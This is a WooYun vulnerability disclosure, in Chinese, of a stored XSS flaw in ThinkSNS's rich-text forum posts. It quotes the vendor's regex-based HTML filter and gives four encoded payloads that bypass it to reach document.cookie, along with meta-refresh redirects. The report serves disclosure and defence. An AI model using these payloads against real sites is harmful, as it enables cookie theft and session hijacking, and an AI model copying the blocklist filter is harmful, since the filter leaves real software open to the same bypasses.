当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-054675

漏洞标题:ThinkSNS存储型XSS一枚

相关厂商:ThinkSNS

漏洞作者: phith0n

提交时间:2014-03-27 10:44

修复时间:2014-06-22 10:44

公开时间:2014-06-22 10:44

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-27: 细节已通知厂商并且等待厂商处理中
2014-04-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-05-26: 细节向核心白帽子及相关领域专家公开
2014-06-05: 细节向普通白帽子公开
2014-06-15: 细节向实习白帽子公开
2014-06-22: 细节向公众公开

简要描述:

存储型XSS

详细说明:

thinksns在微吧的应用中,允许用户发表帖子,而帖子是富文本。
所以,不可避免地涉及到富文本中xss的过滤。而问题就出来过滤的地方。
thinksns使用如下函数过滤传入的参数

function h($text, $type = 'html'){
// 无标签格式
$text_tags = '';
//只保留链接
$link_tags = '<a>';
//只保留图片
$image_tags = '<img>';
//只存在字体样式
$font_tags = '<i><b><u><s><em><strong><font><big><small><sup><sub><bdo><h1><h2><h3><h4><h5><h6>';
//标题摘要基本格式
$base_tags = $font_tags.'<p><br><hr><a><img><map><area><pre><code><q><blockquote><acronym><cite><ins><del><center><strike>';
//兼容Form格式
$form_tags = $base_tags.'<form><input><textarea><button><select><optgroup><option><label><fieldset><legend>';
//内容等允许HTML的格式
$html_tags = $base_tags.'<meta><ul><ol><li><dl><dd><dt><table><caption><td><th><tr><thead><tbody><tfoot><col><colgroup><div><span><object><embed><param>';
//专题等全HTML格式
$all_tags = $form_tags.$html_tags.'<!DOCTYPE><html><head><title><body><base><basefont><script><noscript><applet><object><param><style><frame><frameset><noframes><iframe>';
//过滤标签
$text = real_strip_tags($text, ${$type.'_tags'});
// 过滤攻击代码
if($type != 'all') {
// 过滤危险的属性,如:过滤on事件lang js
while(preg_match('/(<[^><]+)(ondblclick|onclick|onload|onerror|unload|onmouseover|onmouseup|onmouseout|onmousedown|onkeydown|onkeypress|onkeyup|onblur|onchange|onfocus|action|background|codebase|dynsrc|lowsrc)([^><]*)/i',$text,$mat)){
$text = str_ireplace($mat[0], $mat[1].$mat[3], $text);
}
while(preg_match('/(<[^><]+)(window\.|javascript:|js:|about:|file:|document\.|vbs:|cookie)([^><]*)/i',$text,$mat)){
$text = str_ireplace($mat[0], $mat[1].$mat[3], $text);
}
}
return $text;
}
function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
return strip_tags($str, $allowable_tags);
}


其中,传入的第一个参数是富文本内容,第二个参数默认。
因为过滤不严,利用方法如下
01.IE下使用style标签,expression来执行xss,POC如下:

<img style=xss:expre\ssion(&#97;lert(documen\u0074.c\u006fokie))>


02.FF下使用embed+javascript伪协议,触发xss,POC如下:

<embed src=java&#1&#49;5;cript:&#97;lert(documen\u0074.c\u006fokie)>


以上两个POC都是直接触发的,不需要有用户交互。但受到浏览器限制。
03.通用POC,点击触发:

<a href=java&#1&#49;5;cript:&#97;lert(documen\u0074.c\u006fokie)>click me~</a>


通过字符编码绕过了一些过滤。但需要点击触发,所以相对上面两个比较鸡肋。
04.任意url跳转

<meta http-equiv="refresh" content="0;url=data:text/html,%3Cscript%3Elocation.href%3D%22http%3A%2F%2Fwww.baidu.com%22%3C%2Fscript%3E">
<meta http-equiv="refresh" content="0;url=http://www.baidu.com">

漏洞证明:

IE9下触发:

38.jpg


Firefox下触发:

36.jpg


chrome下点击触发:

37.jpg

修复方案:

使用更严格的过滤措施,避免xss的影响。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-06-22 10:44

厂商回复:

最新状态:

2014-04-01:来晚了…